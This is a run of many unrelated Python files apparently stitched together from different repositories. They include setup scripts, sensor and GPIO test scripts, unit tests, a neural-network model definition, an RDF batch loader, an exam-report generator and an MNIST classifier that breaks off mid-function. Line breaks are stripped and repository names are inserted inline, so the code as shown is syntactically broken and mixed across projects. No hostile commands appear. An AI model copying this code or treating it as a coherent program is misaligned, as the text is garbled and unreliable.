coding: utf-8 -*- # DO NOT EDIT THIS FILE! # This file has been autogenerated by dephell <3 # https://github.com/dephell/dephell try: from setuptools import setup except ImportError: from distutils.core import setup readme = "" setup( long_description=readme, name="lunavl", version="0.0.0", description="Python interface for VisionLabs Luna platform", python_requires=">=3.5", project_urls={"repository": "https://github.com/matemax/lunasdk"}, author="VisionLabs", author_email="", packages=[ "examples", "examples.sdk_examples", "lunavl", "lunavl.sdk", "lunavl.sdk.errors", "lunavl.sdk.estimators", "lunavl.sdk.estimators.face_estimators", "lunavl.sdk.faceengine", "lunavl.sdk.image_utils", ], package_data={}, install_requires=["numpy", "requests"], extras_require={"dev": ["pytest>=4.4", "pytest-subtests", "sphinx>=2.0.0", "sphinx-autodoc-typehints"]}, ) KoyanagiHitoshi/AtCoder input() print("Three" if len(set(input().split()))==3 else "Four")south-coast-science/scs_dfe_eng #!/usr/bin/env python3 """ Created on 4 Jul 2016 @author: () """ import sys from scs_core.data.json import JSONify from scs_core.sync.interval_timer import IntervalTimer from scs_dfe.interface.interface_conf import InterfaceConf from scs_dfe.particulate.opc_n3.opc_n3 import OPCN3 from scs_host.bus.i2c import I2C from scs_host.sys.host import Host # -------------------------------------------------------------------------------------------------------------------- opc = None try: I2C.Sensors.open() # Interface... interface_conf = InterfaceConf.load(Host) interface = interface_conf.interface() # OPC... opc = OPCN3(interface, Host.opc_spi_bus(), Host.opc_spi_device()) print(opc) print("-") print("booting...") opc.power_on() print("status...") status = opc.status() print(status) print("-") print("firmware...") firmware = opc.firmware() print(firmware) print("-") print("version...") version = opc.version() print("major:[%d] minor:[%d]" % version) print("-") print("serial...") serial = opc.serial_no() print("serial_no:%s" % serial) print("-") print("firmware_conf...") conf = opc.get_firmware_conf() print(JSONify.dumps(conf)) print("-") print("on...") opc.operations_on() print("-") # print("sleep...") # time.sleep(5) print("running...") print("status...") status = opc.status() print(status) print("-") timer = IntervalTimer(10.0) print("clear histograms...") opc.sample() # clear histograms and timer print("-") for _ in timer.range(3): datum = opc.sample() print(JSONify.dumps(datum)) sys.stdout.flush() except KeyboardInterrupt: print("opc_n3_test: KeyboardInterrupt", file=sys.stderr) except ValueError as ex: print(ex) finally: if opc: print("off...") opc.operations_off() print("status...") status = opc.status() print(status) print("-") print("shutdown...") opc.power_off() print("-") I2C.Sensors.close() # pylint: disable=missing-function-docstring, missing-module-docstring/ import numpy as np a = np.empty(4)*5 import pytest from pytest_lazyfixture import lazy_fixture # Fixtures need to be visible for lazy_fixture() calls. from .fixtures import * # noqa @pytest.fixture( params=( lazy_fixture('host'), lazy_fixture('guest'), ), ) def case_data(request): """ A :class:`.CaseData` instance. """ return request.param webjunkie/django100-1000 # This file intentionally left blankgavinmischler/naplib-python1-10 from .fileio import load, save, import_outstruct __all__ = ['load','save','import_outstruct'] test/simulator_tests/brownian_spatial_simulator_test.py import unittest import networkx as nx import numpy as np import pandas as pd import cassiopeia as cas from cassiopeia.mixins import DataSimulatorError from cassiopeia.simulator import BrownianSpatialDataSimulator class TestBrownianSpatialDataSimulator(unittest.TestCase): def setUp(self): np.random.seed(0) topology = nx.DiGraph() topology.add_edges_from( [ ("0", "1"), ("0", "2"), ("1", "3"), ("1", "4"), ("2", "5"), ("2", "6"), ("3", "7"), ("3", "8"), ("4", "9"), ("4", "10"), ("5", "11"), ("5", "12"), ("6", "13"), ("6", "14"), ] ) tree = cas.data.CassiopeiaTree(tree=topology) tree.set_times( { "0": 0, "1": 1, "2": 1, "3": 2, "4": 2, "5": 2, "6": 2, "7": 3, "8": 3, "9": 3, "10": 3, "11": 3, "12": 3, "13": 3, "14": 3, } ) self.basic_tree = tree self.cell_meta = pd.DataFrame( [ ["a"], ["b"], ["c"], ["d"], ["e"], ["f"], ["g"], ["h"], ], columns=["existing_column"], index=["7", "8", "9", "10", "11", "12", "13", "14"], ) self.tree_with_cell_meta = cas.data.CassiopeiaTree( tree=topology, cell_meta=self.cell_meta ) def test_init(self): with self.assertRaises(DataSimulatorError): BrownianSpatialDataSimulator(dim=0, diffusion_coefficient=1) with self.assertRaises(DataSimulatorError): BrownianSpatialDataSimulator(dim=2, diffusion_coefficient=-1) simulator = BrownianSpatialDataSimulator(dim=2, diffusion_coefficient=1) self.assertEqual(simulator.dim, 2) self.assertEqual(simulator.diffusion_coefficient, 1) def test_overlay_data(self): simulator = BrownianSpatialDataSimulator(dim=2, diffusion_coefficient=1) simulator.overlay_data(self.basic_tree) expected_coordinates = { "0": (0.11770352522994826, 0.35650052707603014), "1": (0.4552956241457416, 0.4330798373089543), "2": (0.2026469911744811, 0.42035680480502396), "3": (0.6425997090262963, 0.8619264303784856), "4": (0.4355423164254138, 0.5116573298634731), "5": (0.4885734782236841, 0.3810950396805744), "6": (0.36807679342430616, 0.2783264123659291), "7": (1.0, 0.6749017701150868), "8": (0.8244210386264144, 0.8329607379759592), "9": (0.46310837569496033, 0.7899661038267269), "10": (0.5811844361582845, 0.5349426503344454), "11": (0.5484862028912141, 0.2176441228384555), "12": (0.0, 0.5061800316477849), "13": (0.8024466857278588, 0.0), "14": (0.3768337409912992, 0.24250446583593732), } for node in self.basic_tree.nodes: np.testing.assert_almost_equal( self.basic_tree.get_attribute(node, "spatial"), expected_coordinates[node], ) expected_cell_meta = pd.DataFrame( data=[ expected_coordinates[leaf] for leaf in self.basic_tree.leaves ], index=self.basic_tree.leaves, columns=["spatial_0", "spatial_1"], ) pd.testing.assert_frame_equal( self.basic_tree.cell_meta, expected_cell_meta ) def test_overlay_data_without_scale(self): simulator = BrownianSpatialDataSimulator( dim=2, diffusion_coefficient=1, scale_unit_area=False ) simulator.overlay_data(self.basic_tree) expected_coordinates = { "0": (0.0, 0.0), "1": (2.494746752403546, 0.5659077511542838), "2": (0.6277174035873467, 0.4718867591884083), "3": (3.878891283535585, 3.735009305294619), "4": (2.3487732523045177, 1.1465817212856055), "5": (2.740664292104657, 0.18174916013789594), "6": (1.8502147998207057, -0.577693078189287), "7": (6.5200171217239085, 2.352929673366174), "8": (5.222519209053866, 3.5209578885570854), "9": (2.5524816242128856, 3.2032350382325285), "10": (3.4250431246849637, 1.3186561798117336), "11": (3.183408881720336, -1.0261246179476786), "12": (-0.8698085300482874, 1.1061054424289072), "13": (5.060132572323026, -2.6344767398567557), "14": (1.9149271155824947, -0.8424110175530323), } for node in self.basic_tree.nodes: np.testing.assert_almost_equal( self.basic_tree.get_attribute(node, "spatial"), expected_coordinates[node], ) expected_cell_meta = pd.DataFrame( data=[ expected_coordinates[leaf] for leaf in self.basic_tree.leaves ], index=self.basic_tree.leaves, columns=["spatial_0", "spatial_1"], ) pd.testing.assert_frame_equal( self.basic_tree.cell_meta, expected_cell_meta ) def test_overlay_data_with_existing_cell_meta(self): simulator = BrownianSpatialDataSimulator(dim=2, diffusion_coefficient=1) simulator.overlay_data(self.tree_with_cell_meta) expected_coordinates = { "0": (0.11770352522994826, 0.35650052707603014), "1": (0.4552956241457416, 0.4330798373089543), "2": (0.2026469911744811, 0.42035680480502396), "3": (0.6425997090262963, 0.8619264303784856), "4": (0.4355423164254138, 0.5116573298634731), "5": (0.4885734782236841, 0.3810950396805744), "6": (0.36807679342430616, 0.2783264123659291), "7": (1.0, 0.6749017701150868), "8": (0.8244210386264144, 0.8329607379759592), "9": (0.46310837569496033, 0.7899661038267269), "10": (0.5811844361582845, 0.5349426503344454), "11": (0.5484862028912141, 0.2176441228384555), "12": (0.0, 0.5061800316477849), "13": (0.8024466857278588, 0.0), "14": (0.3768337409912992, 0.24250446583593732), } for node in self.tree_with_cell_meta.nodes: np.testing.assert_almost_equal( self.tree_with_cell_meta.get_attribute(node, "spatial"), expected_coordinates[node], ) expected_spatial_cell_meta = pd.DataFrame( data=[ expected_coordinates[leaf] for leaf in self.tree_with_cell_meta.leaves ], index=self.tree_with_cell_meta.leaves, columns=["spatial_0", "spatial_1"], ) expected_cell_meta = pd.concat( (self.cell_meta, expected_spatial_cell_meta), axis=1 ) pd.testing.assert_frame_equal( self.tree_with_cell_meta.cell_meta, expected_cell_meta ) project/server/config.py class BaseConfig(object): """Base configuration.""" WTF_CSRF_ENABLED = True REDIS_URL = "redis://redis:6379" QUEUES = ["default"] # Exchanges # BINANCE_KEY = os_get("BINANCE_KEY") # BINANCE_SECRET = os_get("BINANCE_SECRET") # BITMEX_KEY = os_get("BITMEX_KEY") # BITMEX_SECRET = os_get("BITMEX_SECRET") # Database # SQLALCHEMY_DATABASE_URI = os_get("SQLALCHEMY_DATABASE_URI") # SQLALCHEMY_ECHO = False # SQLALCHEMY_TRACK_MODIFICATIONS = False class DevelopmentConfig(BaseConfig): """Development configuration.""" WTF_CSRF_ENABLED = False class TestingConfig(BaseConfig): """Testing configuration.""" TESTING = True WTF_CSRF_ENABLED = False PRESERVE_CONTEXT_ON_EXCEPTION = False from pathlib import Path _BASE_PATH = Path(__file__).absolute().parent.resolve() transmute_core/tests/swagger/test_template.py10-100 from transmute_core.swagger.template import Template def test_template(): t = Template("{{foo}}") assert t.render(foo="bar") == "bar" 10-100 # -*- coding: utf-8 -*- """ korean.__main__ ~~~~~~~~~~~~~~~ Command-line tools. :copyright: (c) 2012-2013 by :license: BSD, see LICENSE for more details. """ from __future__ import absolute_import import contextlib import sys from baker import Baker from . import l10n baker = Baker() @contextlib.contextmanager def file_or_stdin(path): f = open(path) if path is not None else sys.stdin yield f f.close() @baker.command def proofread(path=None, charset='utf-8'): with file_or_stdin(path) as f: for line in f.xreadlines(): print l10n.proofread(line.decode(charset)), @baker.command def validate(path=None, charset='utf-8'): pass if __name__ == '__main__': baker.run() Apifiny-IO/apifiny-connector-python #!/usr/bin/env python # -*- coding:utf-8 -*- ''' # @File : market_data.py # @Author : liuke # @Version : 1.0 # @Desc : None ''' import logging from apifiny.rest_market import MarketData as Client from apifiny.lib.utils import config_logging config_logging(logging, logging.INFO) venue = "BINANCE" symbol = "BTCUSDT" client = Client() logging.info(client.cob(symbol)) # logging.info(client.market_order_book(venue, symbol)) # logging.info(client.market_ticker(venue, symbol)) # logging.info(client.market_trade(venue, symbol)) # logging.info(client.market_kline(venue, "BTC", "USDT", "1m")) 0 def tournamentWinner(competitions, results): dic = {} for i, c in enumerate(competitions): dic[c[results[i] ^ 1]] = dic.get(c[results[i] ^ 1], 0) + 3 return max(dic, key=dic.get) carthurs/open_particle_tracking from __future__ import print_function ############################################# ####### GENERATECLIPPEDPATHLINES ############ ############################################# # # Generate clipped pathline from particle data # # Command line arguments: # 1 - .h5 file containing the particle data # 2 - starting step # 3 - stop step # 4 - interval # 5 - .vtp containing the clipping surface, must be closed ############################################################# from builtins import str from builtins import range import sys import h5py import vtk from vtk.util import numpy_support as ns import numpy as np import numpy.ma as ma h5filename = sys.argv[1] start = sys.argv[2] stop = sys.argv[3] interval = sys.argv[4] clip_filename = sys.argv[5] # TODO: remove these lines, only for testing # h5filename = r"C:\Users\kl12\Documents\CRIMSON\Fontan-II\Model-3521905-16\1-Pre-Op\Mesh-2\Pre-Op-Particles\Bolus-I\pre-op-particles-2500.h5" # start = str(2500) # stop = str(2502) # interval = str(2) # clip_filename = r"C:\Users\kl12\Documents\CRIMSON\Fontan-II\Model-3521905-16\1-Pre-Op\Mesh-2\Pre-Op-Particles\Bolus-I\clip-test.vtp" # open h5 file h5file = h5py.File(h5filename, 'r') # read step numbers indices = h5file["Index"] # load clip surface, must be closed #reader = vtk.vtkXMLPolyDataReader() reader = vtk.vtkPolyDataReader() reader.SetFileName(clip_filename) reader.Update() surface_polydata = reader.GetOutput() # determine maximum number of particles from first timestep index = indices[start][:] max_index = np.max(index) number_of_particles = max_index + 1 # generate iterator and count steps step_range = range(int(start), int(stop) + int(interval), int(interval)) number_of_timesteps = len(step_range) # generate oversized 2d array for each particle and the total number of time steps # array initialised with -1 particle_lines = np.zeros((number_of_particles, number_of_timesteps), dtype=int) particle_lines[:] = -1 # numpy array for particle points particle_points = np.zeros((number_of_particles*number_of_timesteps,3)) # numpy array for plap plap_array = np.zeros(number_of_particles*len(step_range)) # numpy array for prt prt_array = np.zeros(number_of_particles*len(step_range)) # counter previous_number_of_particles = 0 # initialise filter with surface data external to iterator # thus only the particle points are updated within the loop select = vtk.vtkSelectEnclosedPoints() if vtk.VTK_MAJOR_VERSION == 6: select.SetSurfaceData(surface_polydata) else: select.SetSurface(surface_polydata) # uncomment and modify to set lower (more accurate) tolerance for the bounding box #select.SetTolerance(0.0002) for i, step in enumerate(step_range): print("step number", step) # get global indices in this time step index = indices[str(step)][:] # read coordinates, plap and prt coordinates = h5file["Coordinates/" + str(step)][:] current_plap = h5file["PLAP/" + str(step)][:] current_prt = h5file["PRT/" + str(step)][:] # create vtkpoints and polydata vtkpoints = vtk.vtkPoints() vtkpoints.SetData(ns.numpy_to_vtk(coordinates)) particle_polydata = vtk.vtkPolyData() particle_polydata.SetPoints(vtkpoints) # apply to filter and update if vtk.VTK_MAJOR_VERSION == 6: select.SetInputData(particle_polydata) else: select.SetInput(particle_polydata) select.Update() # get mask, 0 outside, 1 inside vtk_mask = select.GetOutput().GetPointData().GetArray("SelectedPoints") mask = ns.vtk_to_numpy(vtk_mask) # get indices inside inside = np.where(mask == 1)[0] # count current_number_of_particles = len(inside) current_number_of_particles += previous_number_of_particles # store values of plap and prt plap_array[previous_number_of_particles:current_number_of_particles] = current_plap[inside] prt_array[previous_number_of_particles:current_number_of_particles] = current_prt[inside] # store coordinates and indices for the lines particle_points[previous_number_of_particles:current_number_of_particles] = coordinates[inside] particle_lines[index[inside], i] = np.arange(previous_number_of_particles, current_number_of_particles) # update count previous_number_of_particles = current_number_of_particles # create array with final number of points particle_points_final = np.copy(particle_points[:current_number_of_particles]) particle_points = vtk.vtkPoints() particle_points.SetData(ns.numpy_to_vtk(particle_points_final)) # create vtk polydata polydata = vtk.vtkPolyData() polydata.SetPoints(particle_points) # loop over each particle pathline and add to vtk cell particle_cell = vtk.vtkCellArray() for i in range(number_of_particles): # get the local indices of this line and remove any -1 values line_index = particle_lines[i] line_index = line_index[line_index != -1] number_of_line_points = len(line_index) # if the number of points are > 1 if number_of_line_points > 1: # find the minimum prt value and subtract from line minimum_prt = np.min(prt_array[line_index]) prt_array[line_index] -= minimum_prt # generate line line = vtk.vtkPolyLine() line.GetPointIds().SetNumberOfIds(number_of_line_points) for j in range(0,number_of_line_points): line.GetPointIds().SetId(j, line_index[j]) # 2nd argument is the id of the vtkpoints data particle_cell.InsertNextCell(line) # add lines to polydata polydata.SetLines(particle_cell) # add arrays plap_array_vtk = ns.numpy_to_vtk(plap_array[:current_number_of_particles]) plap_array_vtk.SetName("PLAP") polydata.GetPointData().AddArray(plap_array_vtk) prt_array_vtk = ns.numpy_to_vtk(prt_array[:current_number_of_particles]) prt_array_vtk.SetName("PRT") polydata.GetPointData().AddArray(prt_array_vtk) # write out to file writer = vtk.vtkXMLPolyDataWriter() # TODO: remove line, only for testing # writer.SetFileName(r"C:\Users\kl12\Documents\CRIMSON\Fontan-II\Model-3521905-16\1-Pre-Op\Mesh-2\Pre-Op-Particles\Bolus-I\clipped-pathlines.vtp") #writer.SetFileName(r"clipped-pathlines.vtp") #if vtk.VTK_MAJOR_VERSION == 6: # writer.SetInputData(polydata) #else: # writer.SetInput(polydata) #writer.Write() # write out cleaned data cleaner = vtk.vtkCleanPolyData() if vtk.VTK_MAJOR_VERSION == 6: cleaner.SetInputData(polydata) else: cleaner.SetInput(polydata) cleaner.Update() writer.SetFileName("clipped-pathlines-clean.vtp") writer.SetInput(cleaner.GetOutput()) writer.Write() #!/usr/bin/env python # To use: # python setup.py install # try: import os, sys, string, re except: print "Error: python is broken" sys.exit(1) try: setup_arg = sys.argv[1] except: setup_arg = '' vx = string.split(sys.version) pyvers = vx[0][0:3] if (float(pyvers) < 1.5): print "Error: python is too old" sys.exit(1) try: import distutils from distutils.core import setup, Extension except: print "Error: Python distutils not found." print " please upgrade python or install the distutils module." sys.exit(1) python = sys.executable pkg_site= sys.prefix pkg_site= os.path.join(pkg_site, 'lib') pkg_site= os.path.join(pkg_site, 'python' + pyvers) pkg_site= os.path.join(pkg_site, 'site-packages') # # test Tkinter and Pmw installation try: import Tkinter print "Tkinter is installed. " except ImportError: print " " print " ===== WARNING WARNING WARNING =====" print " Tkinter is NOT installed, or was not found" print " G.I.FEFFIT will not work." print " " #PMW installPMW = 1 try: import Pmw version = Pmw._version if (version == '1.2') : installPMW = 0 print "Pmw %s is installed. " % version except ImportError: pass if ((installPMW == 1) and (setup_arg == 'install')): pmw_dir = os.path.join(pkg_site, 'Pmw') print " Installing Pmw 1.2 to %s " % pmw_dir os.system('gunzip -c Pmw.1.2.tar.gz | tar xvf -') os.system("cp -pr Pmw %s " % pkg_site) os.system("cp Pmw.pth %s" % os.path.join(pkg_site,'Pmw.pth')) import compileall compileall.compile_dir(pmw_dir) # remove any old Ifeffit.py installations if (setup_arg == 'install'): old_files = ('ifeffitc.so', 'Ifeffit.py', 'Ifeffit.pyc', 'GIFeffit.py', 'GIFeffit.pyc', 'TkIfeffit.py', 'TkIfeffit.pyc') for i in old_files: os.system("rm -f %s/%s" % (pkg_site,i)) version = '1.0c' # # include and parse the data from site_install from site_install import * def key_parse(s,k): import string words = string.split(s) p = {} for i in k: p[i] = [] for i in words: for k in p.keys(): lk = len(k) if ((i[0:lk] == k) and (i[lk:] not in p[k])): p[k].append(i[lk:]) return p libdat = key_parse("%s %s %s" % (lib_iff,lib_plt,lib_f77), ['-l','-L']) incdat = key_parse(inc_iff,['-I']) # src = ['ifeffit_wrap.c'] ex_link = '' if os.uname()[0] == 'Darwin': ex_link = ['-framework','Foundation'] for dir in ('/usr/lib','/sw/lib','/Applications/Ifeffit/lib'): if (dir not in libdat['-L']): libdat['-L'].append(dir) setup (name = "Ifeffit", maintainer = "", maintainer_email = "", description = "Ifeffit Extension to Python", url = "http://cars9.uchicago.edu/ifeffit", extra_path = 'Ifeffit', version = version, include_dirs = incdat['-I'], ext_modules = [Extension('_ifeffit', src, extra_link_args = ex_link, libraries = libdat['-l'], library_dirs = libdat['-L'])], py_modules = ['Ifeffit','TkIfeffit','DataPlotter','GIFeffit'], data_files = [(bin_dir, ['gifeffit'])] ) try: f = open('iff_py_made','w') f.write("") f.close() except: pass onkelbeh/xknx1-10 """Support for dedicated config entries.""" lun-4/lifesaver # encoding: utf-8 __all__ = ["AutoShardedBot", "Bot", "BotBase", "Selfbot", "BotConfig"] from .bot import AutoShardedBot, Bot, BotBase, Selfbot from .config import BotConfig """ VGG-Swish-SE For Cifar10 本模型默认总参数量[参考基准：cifar10]： Total params: 16,402,790 Trainable params: 16,390,246 Non-trainable params: 12,544 """ from hat.models.advance import AdvNet class vss(AdvNet): """ VSS """ def args(self): self.CONV_KI = 'he_normal' self.CONV_KR = None # l2(0.0005) self.TIME = [2, 2, 3, 3, 3] self.CONV = [64, 128, 256, 512, 512] self.BATCH_SIZE = 128 self.EPOCHS = 384 self.OPT = 'Adam' def build_model(self): # params processing self.CONV_ = list(zip( self.TIME, self.CONV, )) x_in = self.input(self.INPUT_SHAPE) x = x_in for ix, i in enumerate(self.CONV_): if ix: x = self.poolx(x) x = self.repeat(self.conv_s, *i)(x) x = self.SE(x) x = self.GAPool(x) x = self.local_s(x, 1024) x = self.dropout(x, 0.3 ) x = self.local_s(x, 1024) x = self.dropout(x, 0.3 ) x = self.local(x, self.NUM_CLASSES, activation='softmax') return self.Model(inputs=x_in, outputs=x, name='vss') def conv_s(self, x_in, filters, kernel_size=3): x = self.conv( x_in, filters, kernel_size, kernel_initializer=self.CONV_KI, kernel_regularizer=self.CONV_KR ) x = self.bn(x) x = self.swish(x) # x = self.SE(x) return x def local_s(self, x_in, units): x = self.local( x_in, units, activation=None, kernel_initializer=self.CONV_KI, ) x = self.bn(x) x = self.swish(x) return x def poolx(self, x_in, pool_size=3, strides=2): maxx = self.maxpool(x_in, pool_size=pool_size, strides=strides) avgx = self.avgpool(x_in, pool_size=pool_size, strides=strides) x = self.add([maxx, avgx]) return x # test part if __name__ == "__main__": mod = vss(DATAINFO={'INPUT_SHAPE': (256, 256, 3), 'NUM_CLASSES': 120}, built=True) mod.summary() iot-makers-code/IoT_prototype import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BCM) GPIO.setup(18, GPIO.OUT) cnt = 10 for i in range(0, cnt, 1): GPIO.output(18, True) time.sleep(1) GPIO.output(18, False) time.sleep(1) print(i) GPIO.cleanup() apapaion/menpowidgets from setuptools import setup, find_packages import versioneer setup(name='menpowidgets', version=versioneer.get_version(), cmdclass=versioneer.get_cmdclass(), description="Menpo's Jupyter widgets for fancy visualization", author='The Menpo Development Team', author_email='', packages=find_packages(), install_requires=['menpo>=0.8', 'ipywidgets>=6.0', 'widgetsnbextension>=2.0', 'traitlets>=4.3,<5.0', 'ipython>=5.0.0,<7.0', 'jupyter>=1.0,<2.0'], package_data={'menpowidgets': ['logos/*', 'js/*']} ) import unittest from scheduler.resources.pod import Pod class TestSchedulerPodResources(unittest.TestCase): def test_manifest_limits(self): cpu_cases = [ {"app_type": "web", "cpu": {"cmd": "2"}, "expected": None}, {"app_type": "web", "cpu": {"web": "2"}, "expected": {"limits": {"cpu": "2"}}}, {"app_type": "web", "cpu": {"web": "0/3"}, "expected": {"requests": {"cpu": "0"}, "limits": {"cpu": "3"}}}, {"app_type": "web", "cpu": {"web": "4/5"}, "expected": {"requests": {"cpu": "4"}, "limits": {"cpu": "5"}}}, {"app_type": "web", "cpu": {"web": "400m/500m"}, "expected": {"requests": {"cpu": "400m"}, "limits": {"cpu": "500m"}}}, {"app_type": "web", "cpu": {"web": "0.6/0.7"}, "expected": {"requests": {"cpu": "0.6"}, "limits": {"cpu": "0.7"}}}, ] mem_cases = [ {"app_type": "web", "memory": {"cmd": "2G"}, "expected": None}, {"app_type": "web", "memory": {"web": "200M"}, "expected": {"limits": {"memory": "200Mi"}}}, {"app_type": "web", "memory": {"web": "0/3G"}, "expected": {"requests": {"memory": "0"}, "limits": {"memory": "3Gi"}}}, {"app_type": "web", "memory": {"web": "400M/500MB"}, "expected": {"requests": {"memory": "400Mi"}, "limits": {"memory": "500Mi"}}}, ] for caze in cpu_cases: manifest = Pod("").manifest("", "", "", app_type=caze["app_type"], cpu=caze["cpu"]) self._assert_resources(caze, manifest) for caze in mem_cases: manifest = Pod("").manifest("", "", "", app_type=caze["app_type"], memory=caze["memory"]) self._assert_resources(caze, manifest) def _assert_resources(self, caze, manifest): resources_parent = manifest["spec"]["containers"][0] expected = caze["expected"] if expected: self.assertEqual(resources_parent["resources"], expected, caze) else: self.assertTrue(resources_parent["resources"] == {}, caze) """ A handler for loading sequenced assets from binaries & turtle metadata. """ import logging import os import yaml from rdflib import Graph from plastron import pcdm, rdf from plastron.authority import create_authority from plastron.exceptions import ConfigError, DataReadException from plastron.namespaces import dcterms from plastron.pcdm import Page, get_file_object # ============================================================================ # BATCH CLASS (FOR PAGED BINARIES PLUS RDF METADATA) # ============================================================================ class Batch: def __init__(self, repo, config): self.logger = logging.getLogger( __name__ + '.' + self.__class__.__name__ ) self.collection = pcdm.Collection.from_repository(repo, config.collection_uri) # Create data structures to accumulate process results self.incomplete = [] self.extra_files = [] # Check for required metadata file if not os.path.isfile(config.batch_file): raise ConfigError('Specified metadata file could not be found') # check for an existing file index file_index = os.path.join(config.data_dir, 'file_index.yml') if os.path.isfile(file_index): self.logger.info('Found file index in {0}'.format(file_index)) with open(file_index, 'r') as index: self.all_files = yaml.load(index) else: # Generate index of all files in the data path # maps the basename to a full path self.logger.info(f'Walking the {config.data_dir} tree to create a file index') self.all_files = {} file_count = 0 for root, dirs, files in os.walk(config.data_dir): for f in files: file_count += 1 if f not in self.all_files: self.all_files[f] = [os.path.join(root, f)] else: self.all_files[f].append(os.path.join(root, f)) self.logger.info("Found {0} files with {1} unique filenames" .format(file_count, len(self.all_files))) # save index to file with open(file_index, 'w') as index: yaml.dump(self.all_files, index, default_flow_style=False) with open(config.batch_file, 'r') as f: self.logger.info( 'Parsing the master metadata graph in {0}'.format(config.batch_file)) self.master_graph = Graph().parse(f, format="turtle") # get subject URIs that are http: or https: URIs self.subjects = sorted(set([uri for uri in self.master_graph.subjects() if str(uri).startswith('http:') or str(uri).startswith('https:')])) # get the master list of authority objects # keyed by the urn:uuid:... URI from the master graph authority_subjects = set([uri for uri in self.master_graph.subjects() if str(uri).startswith('urn:uuid:')]) self.authorities = {str(s): create_authority(self.master_graph, s) for s in authority_subjects} self.length = len(self.subjects) self.count = 0 self.logger.info("Batch contains {0} items.".format(self.length)) def __iter__(self): return self def __next__(self): if self.count < self.length: item = BatchItem(self, self.subjects[self.count]) self.count += 1 return item else: self.logger.info('Processing complete!') raise StopIteration() class BatchItem: def __init__(self, batch, subject): self.batch = batch self.subject = subject self.path = str(subject) def read_data(self): item_graph = Graph() add_props = [] for (s, p, o) in self.batch.master_graph.triples((self.subject, None, None)): item_graph.add((s, p, o)) if str(o) in self.batch.authorities: # create an RDFObjectProperty for the triples with an # authority object value add_props.append(rdf.object_property(str(p), p, embed=True, obj_class=rdf.Resource)) # dynamically-generated class based on predicates that are present in # the source graph cls = type(str(self.subject), (pcdm.Object,), {}) for add_property in add_props: add_property(cls) item = cls.from_graph(item_graph, subject=self.subject) # set the value of the newly mapped properties to the correct # authority objects for prop in item.object_properties(): if prop.is_embedded: prop.values = [self.batch.authorities[str(v.uri)] for v in prop.values] item.member_of = self.batch.collection files = [] parts = {} # Parse each filename in hasPart and allocate to correct location in item entry for (s, p, o) in [(s, p, o) for (s, p, o) in item.unmapped_triples if p == dcterms.hasPart]: filename = str(o) # ensure exactly one path that is mapped from the basename if filename not in self.batch.all_files: raise DataReadException('File {0} not found'.format(filename)) elif len(self.batch.all_files[filename]) > 1: raise DataReadException('Filename {0} is not unique'.format(filename)) file_path = self.batch.all_files[filename][0] normalized = filename.replace('_', '-') basename, ext = os.path.splitext(normalized) base_parts = basename.split('-') # handle files with no sequence id if len(base_parts) == 2: files.append(file_path) # handle files with a sequence id elif len(base_parts) == 3: page_no = str(int(base_parts[2])) if page_no not in parts: parts[page_no] = [file_path] else: parts[page_no].append(file_path) else: item.logger.warning( 'Filename {0} does not match a known pattern'.format(filename)) # remove the dcterms:hasPart triples item.unmapped_triples = [(s, p, o) for (s, p, o) in item.unmapped_triples if p != dcterms.hasPart] for path in files: item.add_file(get_file_object(path)) # renumber the parts from 1 for (n, key) in enumerate(sorted(parts.keys()), 1): page = Page(number=str(n), title=f"{item.title}, Page {n}") for path in parts[key]: page.add_file(get_file_object(path)) item.add_member(page) # add ordering proxy for the page to the item item.append_proxy(page, title=f'Proxy for page {n} in {item.title}') return item from Adafruit_PWM_Servo_Driver import PWM class Begiak: def __init__(self,begien_posizioa): self.ezkerreko_begia = begien_posizioa[0] self.eskuineko_begia = begien_posizioa[1] self.pwm = PWM(0x40) self.servoMin = 300 self.servoMax = 600 self.pwm.setPWMFreq(10) self.pwm.setPWM(self.ezkerreko_begia,0,self.servoMin) self.pwm.setPWM(self.eskuineko_begia,0,self.servoMin) def mugitu_begiak_hasieran(self): self.pwm.setPWM(self.ezkerreko_begia, 0, self.servoMax) self.pwm.setPWM(self.eskuineko_begia, 0, self.servoMax) def mugitu_begiak_bukaeran(self): self.pwm.setPWM(self.ezkerreko_begia, 0, self.servoMin) self.pwm.setPWM(self.eskuineko_begia, 0, self.servoMin) generate.py1-10 #!/usr/bin/env python from subprocess import check_output from pathlib import Path # Your OSID osid = "OS-XXXXX" # Template info osed_template = { "exam" : "OSED", "name" : "Official Offensive Security template v1.0", "path" : "src/OSED.md", } md_path = osed_template["path"] exam = osed_template["exam"] # Syntax highlight style style = "breezedark" # Generating report print("Generating the report...") pdf = f"output/{exam}-{osid}-Exam-Report.pdf" # Assignments paths assignment1 = "assignments/assignment1.py" assignment2 = "assignments/assignment2.py" assignment3 = "assignments/assignment3.py" resource_path = "".join(md_path.split('/')[:-1]) check_output(f"pandoc {md_path} -o {pdf} \ --resource-path {resource_path} \ --from markdown+yaml_metadata_block+raw_html \ --template eisvogel \ --table-of-contents \ --toc-depth 6 \ --number-sections \ --top-level-division=chapter \ --highlight-style {style} \ --listings", shell=True) current_path = str(Path(__file__).parent.absolute()) + "/" print("Generating archive...") check_output(f"7z a output/{exam}-{osid}-Exam-Report.7z \ {current_path}{pdf} \ {current_path}{assignment1} \ {current_path}{assignment2} \ {current_path}{assignment3}", shell=True) learnermod.py import numpy, idx2numpy import pandas as pd from sklearn.svm import LinearSVC from sklearn.naive_bayes import GaussianNB y = idx2numpy.convert_from_file("train-labels-idx1-ubyte") X = idx2numpy.convert_from_file('train-images-idx3-ubyte') X_test = idx2numpy.convert_from_file("t10k-images-idx3-ubyte") y_test = idx2numpy.convert_from_file("t10k-labels-idx1-ubyte") Xp = [] for x in X: Xp.append(x.flatten()) n_train = len(y) Xp = numpy.matrix(Xp)/255.0 Xp = numpy.hstack((Xp,numpy.ones((n_train,1)))) n_test = len(y_test) Xpt = [] for x in X_test: Xpt.append(x.flatten()) Xpt = numpy.matrix(Xpt)/255.0 Xpt = numpy.hstack((Xpt,numpy.ones((n_test,1)))) U,s,VT = numpy.linalg.svd(Xp,full_matrices = False) XpTXp = VT.T @ (numpy.diag(s)) @ VT print(XpTXp.shape) XpTXpi = numpy.linalg.inv(XpTXp) XpTXpiXT = XpTXpi@(Xp.T) def linear_classifier_for_digit(d,XpTXpiXT,y): yp = [] for i in y: if(i == d): yp.append(1) else: yp.append(-1) w = XpTXpiXT@yp return w # w0 = linear_classifier_for_digit(0,XpTXpiT,y) w = [] for i in range(10): #w.append(linear_classifier_for_digit(i,XpTXpiT,y)) pass # ridge classifier for parameter labmda def ridge_classifier_for_digit(d,Xp,XpTXp,y,lam): yp = [] for i in 